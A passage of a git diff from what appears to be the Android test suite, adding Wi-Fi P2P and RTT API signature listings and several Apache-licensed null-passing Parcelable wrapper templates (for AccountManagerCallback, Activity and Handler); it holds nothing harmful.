+    method @Nullable public android.net.wifi.p2p.WifiP2pWfdInfo getWfdInfo();
+    method public boolean isGroupOwner();
+    method public boolean isServiceDiscoveryCapable();
+    method public void update(@NonNull android.net.wifi.p2p.WifiP2pDevice);
+    method public boolean wpsDisplaySupported();
+    method public boolean wpsKeypadSupported();
+    method public boolean wpsPbcSupported();
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final int AVAILABLE = 3; // 0x3
+    field public static final int CONNECTED = 0; // 0x0
+    field @NonNull public static final android.os.Parcelable.Creator<android.net.wifi.p2p.WifiP2pDevice> CREATOR;
+    field public static final int FAILED = 2; // 0x2
+    field public static final int INVITED = 1; // 0x1
+    field public static final int UNAVAILABLE = 4; // 0x4
+    field public String deviceAddress;
+    field public String deviceName;
+    field public String primaryDeviceType;
+    field public String secondaryDeviceType;
+    field public int status;
+  }
+
+  public class WifiP2pDeviceList implements android.os.Parcelable {
+    ctor public WifiP2pDeviceList();
+    ctor public WifiP2pDeviceList(android.net.wifi.p2p.WifiP2pDeviceList);
+    method public int describeContents();
+    method public android.net.wifi.p2p.WifiP2pDevice get(String);
+    method public java.util.Collection<android.net.wifi.p2p.WifiP2pDevice> getDeviceList();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.net.wifi.p2p.WifiP2pDeviceList> CREATOR;
+  }
+
+  public class WifiP2pGroup implements android.os.Parcelable {
+    ctor public WifiP2pGroup();
+    ctor public WifiP2pGroup(android.net.wifi.p2p.WifiP2pGroup);
+    method public int describeContents();
+    method public java.util.Collection<android.net.wifi.p2p.WifiP2pDevice> getClientList();
+    method public int getFrequency();
+    method public String getInterface();
+    method public int getNetworkId();
+    method public String getNetworkName();
+    method public android.net.wifi.p2p.WifiP2pDevice getOwner();
+    method public String getPassphrase();
+    method public boolean isGroupOwner();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.net.wifi.p2p.WifiP2pGroup> CREATOR;
+    field public static final int NETWORK_ID_PERSISTENT = -2; // 0xfffffffe
+    field public static final int NETWORK_ID_TEMPORARY = -1; // 0xffffffff
+  }
+
+  public class WifiP2pInfo implements android.os.Parcelable {
+    ctor public WifiP2pInfo();
+    ctor public WifiP2pInfo(android.net.wifi.p2p.WifiP2pInfo);
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.net.wifi.p2p.WifiP2pInfo> CREATOR;
+    field public boolean groupFormed;
+    field public java.net.InetAddress groupOwnerAddress;
+    field public boolean isGroupOwner;
+  }
+
+  public class WifiP2pManager {
+    method @RequiresPermission(android.Manifest.permission.ACCESS_FINE_LOCATION) public void addLocalService(android.net.wifi.p2p.WifiP2pManager.Channel, android.net.wifi.p2p.nsd.WifiP2pServiceInfo, android.net.wifi.p2p.WifiP2pManager.ActionListener);
+    method public void addServiceRequest(android.net.wifi.p2p.WifiP2pManager.Channel, android.net.wifi.p2p.nsd.WifiP2pServiceRequest, android.net.wifi.p2p.WifiP2pManager.ActionListener);
+    method public void cancelConnect(android.net.wifi.p2p.WifiP2pManager.Channel, android.net.wifi.p2p.WifiP2pManager.ActionListener);
+    method public void clearLocalServices(android.net.wifi.p2p.WifiP2pManager.Channel, android.net.wifi.p2p.WifiP2pManager.ActionListener);
+    method public void clearServiceRequests(android.net.wifi.p2p.WifiP2pManager.Channel, android.net.wifi.p2p.WifiP2pManager.ActionListener);
+    method @RequiresPermission(android.Manifest.permission.ACCESS_FINE_LOCATION) public void connect(android.net.wifi.p2p.WifiP2pManager.Channel, android.net.wifi.p2p.WifiP2pConfig, android.net.wifi.p2p.WifiP2pManager.ActionListener);
+    method @RequiresPermission(android.Manifest.permission.ACCESS_FINE_LOCATION) public void createGroup(android.net.wifi.p2p.WifiP2pManager.Channel, android.net.wifi.p2p.WifiP2pManager.ActionListener);
+    method @RequiresPermission(android.Manifest.permission.ACCESS_FINE_LOCATION) public void createGroup(@NonNull android.net.wifi.p2p.WifiP2pManager.Channel, @Nullable android.net.wifi.p2p.WifiP2pConfig, @Nullable android.net.wifi.p2p.WifiP2pManager.ActionListener);
+    method @RequiresPermission(android.Manifest.permission.ACCESS_FINE_LOCATION) public void discoverPeers(android.net.wifi.p2p.WifiP2pManager.Channel, android.net.wifi.p2p.WifiP2pManager.ActionListener);
+    method @RequiresPermission(android.Manifest.permission.ACCESS_FINE_LOCATION) public void discoverServices(android.net.wifi.p2p.WifiP2pManager.Channel, android.net.wifi.p2p.WifiP2pManager.ActionListener);
+    method public android.net.wifi.p2p.WifiP2pManager.Channel initialize(android.content.Context, android.os.Looper, android.net.wifi.p2p.WifiP2pManager.ChannelListener);
+    method public void removeGroup(android.net.wifi.p2p.WifiP2pManager.Channel, android.net.wifi.p2p.WifiP2pManager.ActionListener);
+    method public void removeLocalService(android.net.wifi.p2p.WifiP2pManager.Channel, android.net.wifi.p2p.nsd.WifiP2pServiceInfo, android.net.wifi.p2p.WifiP2pManager.ActionListener);
+    method public void removeServiceRequest(android.net.wifi.p2p.WifiP2pManager.Channel, android.net.wifi.p2p.nsd.WifiP2pServiceRequest, android.net.wifi.p2p.WifiP2pManager.ActionListener);
+    method public void requestConnectionInfo(android.net.wifi.p2p.WifiP2pManager.Channel, android.net.wifi.p2p.WifiP2pManager.ConnectionInfoListener);
+    method @RequiresPermission(android.Manifest.permission.ACCESS_FINE_LOCATION) public void requestDeviceInfo(@NonNull android.net.wifi.p2p.WifiP2pManager.Channel, @NonNull android.net.wifi.p2p.WifiP2pManager.DeviceInfoListener);
+    method public void requestDiscoveryState(@NonNull android.net.wifi.p2p.WifiP2pManager.Channel, @NonNull android.net.wifi.p2p.WifiP2pManager.DiscoveryStateListener);
+    method @RequiresPermission(android.Manifest.permission.ACCESS_FINE_LOCATION) public void requestGroupInfo(android.net.wifi.p2p.WifiP2pManager.Channel, android.net.wifi.p2p.WifiP2pManager.GroupInfoListener);
+    method public void requestNetworkInfo(@NonNull android.net.wifi.p2p.WifiP2pManager.Channel, @NonNull android.net.wifi.p2p.WifiP2pManager.NetworkInfoListener);
+    method public void requestP2pState(@NonNull android.net.wifi.p2p.WifiP2pManager.Channel, @NonNull android.net.wifi.p2p.WifiP2pManager.P2pStateListener);
+    method @RequiresPermission(android.Manifest.permission.ACCESS_FINE_LOCATION) public void requestPeers(android.net.wifi.p2p.WifiP2pManager.Channel, android.net.wifi.p2p.WifiP2pManager.PeerListListener);
+    method public void setDnsSdResponseListeners(android.net.wifi.p2p.WifiP2pManager.Channel, android.net.wifi.p2p.WifiP2pManager.DnsSdServiceResponseListener, android.net.wifi.p2p.WifiP2pManager.DnsSdTxtRecordListener);
+    method public void setServiceResponseListener(android.net.wifi.p2p.WifiP2pManager.Channel, android.net.wifi.p2p.WifiP2pManager.ServiceResponseListener);
+    method public void setUpnpServiceResponseListener(android.net.wifi.p2p.WifiP2pManager.Channel, android.net.wifi.p2p.WifiP2pManager.UpnpServiceResponseListener);
+    method public void stopPeerDiscovery(android.net.wifi.p2p.WifiP2pManager.Channel, android.net.wifi.p2p.WifiP2pManager.ActionListener);
+    field public static final int BUSY = 2; // 0x2
+    field public static final int ERROR = 0; // 0x0
+    field public static final String EXTRA_DISCOVERY_STATE = "discoveryState";
+    field public static final String EXTRA_NETWORK_INFO = "networkInfo";
+    field public static final String EXTRA_P2P_DEVICE_LIST = "wifiP2pDeviceList";
+    field public static final String EXTRA_WIFI_P2P_DEVICE = "wifiP2pDevice";
+    field public static final String EXTRA_WIFI_P2P_GROUP = "p2pGroupInfo";
+    field public static final String EXTRA_WIFI_P2P_INFO = "wifiP2pInfo";
+    field public static final String EXTRA_WIFI_STATE = "wifi_p2p_state";
+    field public static final int NO_SERVICE_REQUESTS = 3; // 0x3
+    field public static final int P2P_UNSUPPORTED = 1; // 0x1
+    field public static final String WIFI_P2P_CONNECTION_CHANGED_ACTION = "android.net.wifi.p2p.CONNECTION_STATE_CHANGE";
+    field public static final String WIFI_P2P_DISCOVERY_CHANGED_ACTION = "android.net.wifi.p2p.DISCOVERY_STATE_CHANGE";
+    field public static final int WIFI_P2P_DISCOVERY_STARTED = 2; // 0x2
+    field public static final int WIFI_P2P_DISCOVERY_STOPPED = 1; // 0x1
+    field public static final String WIFI_P2P_PEERS_CHANGED_ACTION = "android.net.wifi.p2p.PEERS_CHANGED";
+    field public static final String WIFI_P2P_STATE_CHANGED_ACTION = "android.net.wifi.p2p.STATE_CHANGED";
+    field public static final int WIFI_P2P_STATE_DISABLED = 1; // 0x1
+    field public static final int WIFI_P2P_STATE_ENABLED = 2; // 0x2
+    field public static final String WIFI_P2P_THIS_DEVICE_CHANGED_ACTION = "android.net.wifi.p2p.THIS_DEVICE_CHANGED";
+  }
+
+  public static interface WifiP2pManager.ActionListener {
+    method public void onFailure(int);
+    method public void onSuccess();
+  }
+
+  public static class WifiP2pManager.Channel implements java.lang.AutoCloseable {
+    method public void close();
+  }
+
+  public static interface WifiP2pManager.ChannelListener {
+    method public void onChannelDisconnected();
+  }
+
+  public static interface WifiP2pManager.ConnectionInfoListener {
+    method public void onConnectionInfoAvailable(android.net.wifi.p2p.WifiP2pInfo);
+  }
+
+  public static interface WifiP2pManager.DeviceInfoListener {
+    method public void onDeviceInfoAvailable(@Nullable android.net.wifi.p2p.WifiP2pDevice);
+  }
+
+  public static interface WifiP2pManager.DiscoveryStateListener {
+    method public void onDiscoveryStateAvailable(int);
+  }
+
+  public static interface WifiP2pManager.DnsSdServiceResponseListener {
+    method public void onDnsSdServiceAvailable(String, String, android.net.wifi.p2p.WifiP2pDevice);
+  }
+
+  public static interface WifiP2pManager.DnsSdTxtRecordListener {
+    method public void onDnsSdTxtRecordAvailable(String, java.util.Map<java.lang.String,java.lang.String>, android.net.wifi.p2p.WifiP2pDevice);
+  }
+
+  public static interface WifiP2pManager.GroupInfoListener {
+    method public void onGroupInfoAvailable(android.net.wifi.p2p.WifiP2pGroup);
+  }
+
+  public static interface WifiP2pManager.NetworkInfoListener {
+    method public void onNetworkInfoAvailable(@NonNull android.net.NetworkInfo);
+  }
+
+  public static interface WifiP2pManager.P2pStateListener {
+    method public void onP2pStateAvailable(int);
+  }
+
+  public static interface WifiP2pManager.PeerListListener {
+    method public void onPeersAvailable(android.net.wifi.p2p.WifiP2pDeviceList);
+  }
+
+  public static interface WifiP2pManager.ServiceResponseListener {
+    method public void onServiceAvailable(int, byte[], android.net.wifi.p2p.WifiP2pDevice);
+  }
+
+  public static interface WifiP2pManager.UpnpServiceResponseListener {
+    method public void onUpnpServiceAvailable(java.util.List<java.lang.String>, android.net.wifi.p2p.WifiP2pDevice);
+  }
+
+  public final class WifiP2pWfdInfo implements android.os.Parcelable {
+    ctor public WifiP2pWfdInfo();
+    ctor public WifiP2pWfdInfo(@Nullable android.net.wifi.p2p.WifiP2pWfdInfo);
+    method public int describeContents();
+    method public int getControlPort();
+    method public int getDeviceInfo();
+    method public int getDeviceType();
+    method public int getMaxThroughput();
+    method public int getR2DeviceInfo();
+    method public int getR2DeviceType();
+    method public boolean isContentProtectionSupported();
+    method public boolean isCoupledSinkSupportedAtSink();
+    method public boolean isCoupledSinkSupportedAtSource();
+    method public boolean isEnabled();
+    method public boolean isR2Supported();
+    method public boolean isSessionAvailable();
+    method public void setContentProtectionSupported(boolean);
+    method public void setControlPort(@IntRange(from=0) int);
+    method public void setCoupledSinkSupportAtSink(boolean);
+    method public void setCoupledSinkSupportAtSource(boolean);
+    method public boolean setDeviceType(int);
+    method public void setEnabled(boolean);
+    method public void setMaxThroughput(@IntRange(from=0) int);
+    method public boolean setR2DeviceType(int);
+    method public void setSessionAvailable(boolean);
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.net.wifi.p2p.WifiP2pWfdInfo> CREATOR;
+    field public static final int DEVICE_INFO_AUDIO_ONLY_SUPPORT_AT_SOURCE = 2048; // 0x800
+    field public static final int DEVICE_INFO_AUDIO_UNSUPPORTED_AT_PRIMARY_SINK = 1024; // 0x400
+    field public static final int DEVICE_INFO_CONTENT_PROTECTION_SUPPORT = 256; // 0x100
+    field public static final int DEVICE_INFO_COUPLED_SINK_SUPPORT_AT_SINK = 8; // 0x8
+    field public static final int DEVICE_INFO_COUPLED_SINK_SUPPORT_AT_SOURCE = 4; // 0x4
+    field public static final int DEVICE_INFO_DEVICE_TYPE_MASK = 3; // 0x3
+    field public static final int DEVICE_INFO_PREFERRED_CONNECTIVITY_MASK = 128; // 0x80
+    field public static final int DEVICE_INFO_SESSION_AVAILABLE_MASK = 48; // 0x30
+    field public static final int DEVICE_INFO_TDLS_PERSISTENT_GROUP = 4096; // 0x1000
+    field public static final int DEVICE_INFO_TDLS_PERSISTENT_GROUP_REINVOKE = 8192; // 0x2000
+    field public static final int DEVICE_INFO_TIME_SYNCHRONIZATION_SUPPORT = 512; // 0x200
+    field public static final int DEVICE_INFO_WFD_SERVICE_DISCOVERY_SUPPORT = 64; // 0x40
+    field public static final int DEVICE_TYPE_PRIMARY_SINK = 1; // 0x1
+    field public static final int DEVICE_TYPE_SECONDARY_SINK = 2; // 0x2
+    field public static final int DEVICE_TYPE_SOURCE_OR_PRIMARY_SINK = 3; // 0x3
+    field public static final int DEVICE_TYPE_WFD_SOURCE = 0; // 0x0
+    field public static final int PREFERRED_CONNECTIVITY_P2P = 0; // 0x0
+    field public static final int PREFERRED_CONNECTIVITY_TDLS = 1; // 0x1
+  }
+
+}
+
+package android.net.wifi.p2p.nsd {
+
+  public class WifiP2pDnsSdServiceInfo extends android.net.wifi.p2p.nsd.WifiP2pServiceInfo {
+    method public static android.net.wifi.p2p.nsd.WifiP2pDnsSdServiceInfo newInstance(String, String, java.util.Map<java.lang.String,java.lang.String>);
+  }
+
+  public class WifiP2pDnsSdServiceRequest extends android.net.wifi.p2p.nsd.WifiP2pServiceRequest {
+    method public static android.net.wifi.p2p.nsd.WifiP2pDnsSdServiceRequest newInstance();
+    method public static android.net.wifi.p2p.nsd.WifiP2pDnsSdServiceRequest newInstance(String);
+    method public static android.net.wifi.p2p.nsd.WifiP2pDnsSdServiceRequest newInstance(String, String);
+  }
+
+  public class WifiP2pServiceInfo implements android.os.Parcelable {
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final int SERVICE_TYPE_ALL = 0; // 0x0
+    field public static final int SERVICE_TYPE_BONJOUR = 1; // 0x1
+    field public static final int SERVICE_TYPE_UPNP = 2; // 0x2
+    field public static final int SERVICE_TYPE_VENDOR_SPECIFIC = 255; // 0xff
+  }
+
+  public class WifiP2pServiceRequest implements android.os.Parcelable {
+    method public int describeContents();
+    method public static android.net.wifi.p2p.nsd.WifiP2pServiceRequest newInstance(int, String);
+    method public static android.net.wifi.p2p.nsd.WifiP2pServiceRequest newInstance(int);
+    method public void writeToParcel(android.os.Parcel, int);
+  }
+
+  public class WifiP2pUpnpServiceInfo extends android.net.wifi.p2p.nsd.WifiP2pServiceInfo {
+    method public static android.net.wifi.p2p.nsd.WifiP2pUpnpServiceInfo newInstance(String, String, java.util.List<java.lang.String>);
+  }
+
+  public class WifiP2pUpnpServiceRequest extends android.net.wifi.p2p.nsd.WifiP2pServiceRequest {
+    method public static android.net.wifi.p2p.nsd.WifiP2pUpnpServiceRequest newInstance();
+    method public static android.net.wifi.p2p.nsd.WifiP2pUpnpServiceRequest newInstance(String);
+  }
+
+}
+
+package android.net.wifi.rtt {
+
+  public class CivicLocationKeys {
+    field public static final int ADDITIONAL_CODE = 32; // 0x20
+    field public static final int APT = 26; // 0x1a
+    field public static final int BOROUGH = 4; // 0x4
+    field public static final int BRANCH_ROAD_NAME = 36; // 0x24
+    field public static final int BUILDING = 25; // 0x19
+    field public static final int CITY = 3; // 0x3
+    field public static final int COUNTY = 2; // 0x2
+    field public static final int DESK = 33; // 0x21
+    field public static final int FLOOR = 27; // 0x1b
+    field public static final int GROUP_OF_STREETS = 6; // 0x6
+    field public static final int HNO = 19; // 0x13
+    field public static final int HNS = 20; // 0x14
+    field public static final int LANGUAGE = 0; // 0x0
+    field public static final int LMK = 21; // 0x15
+    field public static final int LOC = 22; // 0x16
+    field public static final int NAM = 23; // 0x17
+    field public static final int NEIGHBORHOOD = 5; // 0x5
+    field public static final int PCN = 30; // 0x1e
+    field public static final int POD = 17; // 0x11
+    field public static final int POSTAL_CODE = 24; // 0x18
+    field public static final int PO_BOX = 31; // 0x1f
+    field public static final int PRD = 16; // 0x10
+    field public static final int PRIMARY_ROAD_NAME = 34; // 0x22
+    field public static final int ROAD_SECTION = 35; // 0x23
+    field public static final int ROOM = 28; // 0x1c
+    field public static final int SCRIPT = 128; // 0x80
+    field public static final int STATE = 1; // 0x1
+    field public static final int STREET_NAME_POST_MODIFIER = 39; // 0x27
+    field public static final int STREET_NAME_PRE_MODIFIER = 38; // 0x26
+    field public static final int STS = 18; // 0x12
+    field public static final int SUBBRANCH_ROAD_NAME = 37; // 0x25
+    field public static final int TYPE_OF_PLACE = 29; // 0x1d
+  }
+
+  public final class RangingRequest implements android.os.Parcelable {
+    method public int describeContents();
+    method public static int getDefaultRttBurstSize();
+    method public static int getMaxPeers();
+    method public static int getMaxRttBurstSize();
+    method public static int getMinRttBurstSize();
+    method public int getRttBurstSize();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.net.wifi.rtt.RangingRequest> CREATOR;
+  }
+
+  public static final class RangingRequest.Builder {
+    ctor public RangingRequest.Builder();
+    method public android.net.wifi.rtt.RangingRequest.Builder addAccessPoint(@NonNull android.net.wifi.ScanResult);
+    method public android.net.wifi.rtt.RangingRequest.Builder addAccessPoints(@NonNull java.util.List<android.net.wifi.ScanResult>);
+    method @NonNull public android.net.wifi.rtt.RangingRequest.Builder addNon80211mcCapableAccessPoint(@NonNull android.net.wifi.ScanResult);
+    method @NonNull public android.net.wifi.rtt.RangingRequest.Builder addNon80211mcCapableAccessPoints(@NonNull java.util.List<android.net.wifi.ScanResult>);
+    method public android.net.wifi.rtt.RangingRequest.Builder addWifiAwarePeer(@NonNull android.net.MacAddress);
+    method public android.net.wifi.rtt.RangingRequest.Builder addWifiAwarePeer(@NonNull android.net.wifi.aware.PeerHandle);
+    method public android.net.wifi.rtt.RangingRequest build();
+    method @NonNull public android.net.wifi.rtt.RangingRequest.Builder setRttBurstSize(int);
+  }
+
+  public final class RangingResult implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getDistanceMm();
+    method public int getDistanceStdDevMm();
+    method @Nullable public android.net.MacAddress getMacAddress();
+    method public int getNumAttemptedMeasurements();
+    method public int getNumSuccessfulMeasurements();
+    method @Nullable public android.net.wifi.aware.PeerHandle getPeerHandle();
+    method public long getRangingTimestampMillis();
+    method public int getRssi();
+    method public int getStatus();
+    method @Nullable public android.net.wifi.rtt.ResponderLocation getUnverifiedResponderLocation();
+    method public boolean is80211mcMeasurement();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.net.wifi.rtt.RangingResult> CREATOR;
+    field public static final int STATUS_FAIL = 1; // 0x1
+    field public static final int STATUS_RESPONDER_DOES_NOT_SUPPORT_IEEE80211MC = 2; // 0x2
+    field public static final int STATUS_SUCCESS = 0; // 0x0
+  }
+
+  public abstract class RangingResultCallback {
+    ctor public RangingResultCallback();
+    method public abstract void onRangingFailure(int);
+    method public abstract void onRangingResults(@NonNull java.util.List<android.net.wifi.rtt.RangingResult>);
+    field public static final int STATUS_CODE_FAIL = 1; // 0x1
+    field public static final int STATUS_CODE_FAIL_RTT_NOT_AVAILABLE = 2; // 0x2
+  }
+
+  public final class ResponderLocation implements android.os.Parcelable {
+    method public int describeContents();
+    method public double getAltitude();
+    method public int getAltitudeType();
+    method public double getAltitudeUncertainty();
+    method public java.util.List<android.net.MacAddress> getColocatedBssids();
+    method public int getDatum();
+    method public int getExpectedToMove();
+    method public double getFloorNumber();
+    method public double getHeightAboveFloorMeters();
+    method public double getHeightAboveFloorUncertaintyMeters();
+    method public double getLatitude();
+    method public double getLatitudeUncertainty();
+    method public int getLciVersion();
+    method public double getLongitude();
+    method public double getLongitudeUncertainty();
+    method @Nullable public String getMapImageMimeType();
+    method @Nullable public android.net.Uri getMapImageUri();
+    method public boolean getRegisteredLocationAgreementIndication();
+    method public boolean isLciSubelementValid();
+    method public boolean isZaxisSubelementValid();
+    method @Nullable public android.location.Address toCivicLocationAddress();
+    method @Nullable public android.util.SparseArray<java.lang.String> toCivicLocationSparseArray();
+    method @NonNull public android.location.Location toLocation();
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final int ALTITUDE_FLOORS = 2; // 0x2
+    field public static final int ALTITUDE_METERS = 1; // 0x1
+    field public static final int ALTITUDE_UNDEFINED = 0; // 0x0
+    field @NonNull public static final android.os.Parcelable.Creator<android.net.wifi.rtt.ResponderLocation> CREATOR;
+    field public static final int DATUM_NAD83_MLLW = 3; // 0x3
+    field public static final int DATUM_NAD83_NAV88 = 2; // 0x2
+    field public static final int DATUM_UNDEFINED = 0; // 0x0
+    field public static final int DATUM_WGS84 = 1; // 0x1
+    field public static final int LCI_VERSION_1 = 1; // 0x1
+    field public static final int LOCATION_FIXED = 0; // 0x0
+    field public static final int LOCATION_MOVEMENT_UNKNOWN = 2; // 0x2
+    field public static final int LOCATION_RESERVED = 3; // 0x3
+    field public static final int LOCATION_VARIABLE = 1; // 0x1
+  }
+
+  public class WifiRttManager {
+    method public boolean isAvailable();
+    method @RequiresPermission(allOf={android.Manifest.permission.ACCESS_FINE_LOCATION, android.Manifest.permission.CHANGE_WIFI_STATE, android.Manifest.permission.ACCESS_WIFI_STATE}) public void startRanging(@NonNull android.net.wifi.rtt.RangingRequest, @NonNull java.util.concurrent.Executor, @NonNull android.net.wifi.rtt.RangingResultCallback);
+    field public static final String ACTION_WIFI_RTT_STATE_CHANGED = "android.net.wifi.rtt.action.WIFI_RTT_STATE_CHANGED";
+  }
+
+}
+
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableAccountManagerCallback.java.txt b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableAccountManagerCallback.java.txt
new file mode 100644
index 0000000..4984775
--- /dev/null
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableAccountManagerCallback.java.txt
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remoteframeworkclasses;
+
+import android.accounts.AccountManagerCallback;
+import android.os.Parcel;
+import android.os.Parcelable;
+
+import com.google.android.enterprise.connectedapps.annotations.CustomParcelableWrapper;
+import com.google.android.enterprise.connectedapps.internal.Bundler;
+import com.google.android.enterprise.connectedapps.internal.BundlerType;
+
+/**
+ * This parcelable wrapper just passes null to callers.
+ *
+ * <p>It is not functional and only enables use of {@link AccountManagerCallback} for clients
+ * which do not need to actually use the {@link AccountManagerCallback} param or return value.
+ */
+@CustomParcelableWrapper(originalType = AccountManagerCallback.class)
+public final class NullParcelableAccountManagerCallback<F> implements Parcelable {
+
+    /**
+     * Create a wrapper for a given {@link AccountManagerCallback}.
+     */
+    public static <F> NullParcelableAccountManagerCallback of(
+            Bundler bundler, BundlerType type,
+            AccountManagerCallback<F> accountManagerCallback) {
+
+        if (accountManagerCallback != null) {
+            throw new IllegalArgumentException("accountManagerCallback can only be null");
+        }
+
+        return new NullParcelableAccountManagerCallback<F>();
+    }
+
+    private NullParcelableAccountManagerCallback() {
+    }
+
+    public AccountManagerCallback<F> get() {
+        return null;
+    }
+
+    @Override
+    public void writeToParcel(Parcel dest, int flags) {
+    }
+
+    @Override
+    public int describeContents() {
+        return 0;
+    }
+
+    @SuppressWarnings("rawtypes")
+    public static final Creator<NullParcelableAccountManagerCallback> CREATOR =
+            new Creator<NullParcelableAccountManagerCallback>() {
+                @Override
+                public NullParcelableAccountManagerCallback createFromParcel(Parcel in) {
+                    return new NullParcelableAccountManagerCallback();
+                }
+
+                @Override
+                public NullParcelableAccountManagerCallback[] newArray(int size) {
+                    return new NullParcelableAccountManagerCallback[size];
+                }
+            };
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableActivity.java.txt b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableActivity.java.txt
new file mode 100644
index 0000000..6000472
--- /dev/null
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableActivity.java.txt
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remoteframeworkclasses;
+
+import android.app.Activity;
+import android.os.Parcel;
+import android.os.Parcelable;
+
+import com.google.android.enterprise.connectedapps.annotations.CustomParcelableWrapper;
+import com.google.android.enterprise.connectedapps.internal.Bundler;
+import com.google.android.enterprise.connectedapps.internal.BundlerType;
+
+/**
+ * This parcelable wrapper just passes null to callers.
+ *
+ * <p>It is not functional and only enables use of {@link Activity} for clients
+ * which do not need to actually use the {@link Activity} param or return value.
+ */
+@CustomParcelableWrapper(originalType = Activity.class)
+public final class NullParcelableActivity implements Parcelable {
+
+    /**
+     * Create a wrapper for a given {@link Activity}.
+     */
+    public static <F> NullParcelableActivity of(
+            Bundler bundler, BundlerType type,
+            Activity activity) {
+
+       if (activity != null) {
+           throw new IllegalArgumentException("activity can only be null");
+       }
+
+        return new NullParcelableActivity();
+    }
+
+    private NullParcelableActivity() {
+    }
+
+    public Activity get() {
+        return null;
+    }
+
+    @Override
+    public void writeToParcel(Parcel dest, int flags) {
+    }
+
+    @Override
+    public int describeContents() {
+        return 0;
+    }
+
+    @SuppressWarnings("rawtypes")
+    public static final Creator<NullParcelableActivity> CREATOR =
+            new Creator<NullParcelableActivity>() {
+                @Override
+                public NullParcelableActivity createFromParcel(Parcel in) {
+                    return new NullParcelableActivity();
+                }
+
+                @Override
+                public NullParcelableActivity[] newArray(int size) {
+                    return new NullParcelableActivity[size];
+                }
+            };
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableHandler.java.txt b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableHandler.java.txt
new file mode 100644
index 0000000..92692ad
--- /dev/null
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableHandler.java.txt
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remoteframeworkclasses;
+
+import android.os.Handler;
+import android.os.Parcel;
+import android.os.Parcelable;
+
+import com.google.android.enterprise.connectedapps.annotations.CustomParcelableWrapper;
+import com.google.android.enterprise.connectedapps.internal.Bundler;
+import com.google.android.enterprise.connectedapps.internal.BundlerType;
+
+/**
+ * This parcelable wrapper just passes null to callers.
+ *
+ * <p>It is not functional and only enables use of {@link Handler} for clients
+ * which do not need to actually use the {@link Handler} param or return value.
+ */
+@CustomParcelableWrapper(originalType = Handler.class)
+public final class NullParcelableHandler implements Parcelable {
+
+    /**
+     * Create a wrapper for a given {@link Handler}.
+     */
+    public static <F> NullParcelableHandler of(
+            Bundler bundler, BundlerType type,
+            Handler handler) {
+
+        if (handler != null) {
+            throw new IllegalArgumentException("handler can only be null");
+        }
+
+        return new NullParcelableHandler();
+    }
+
+    private NullParcelableHandler() {
+    }
+
+    public Handler get() {
+        return null;
+    }
+
+    @Override
+    public void writeToParcel(Parcel dest, int flags) {
+    }
+
+    @Override
+    public int describeContents() {
+        return 0;
+    }
+
+    @SuppressWarnings("rawtypes")
+    public static final Creator<NullParcelableHandler> CREATOR =
+            new Creator<NullParcelableHandler>() {
+                @Override
+                public NullParcelableHandler createFromParcel(Parcel in) {
+                    return new NullParcelableHandler();
+                }
+
+                @Override
+                public NullParcelableHandler[] newArray(int size) {
+                    return new NullParcelableHandler[size];
+                }
+            };
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteContentResolver.java.txt b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteContentResolver.java.txt
new file mode 100644
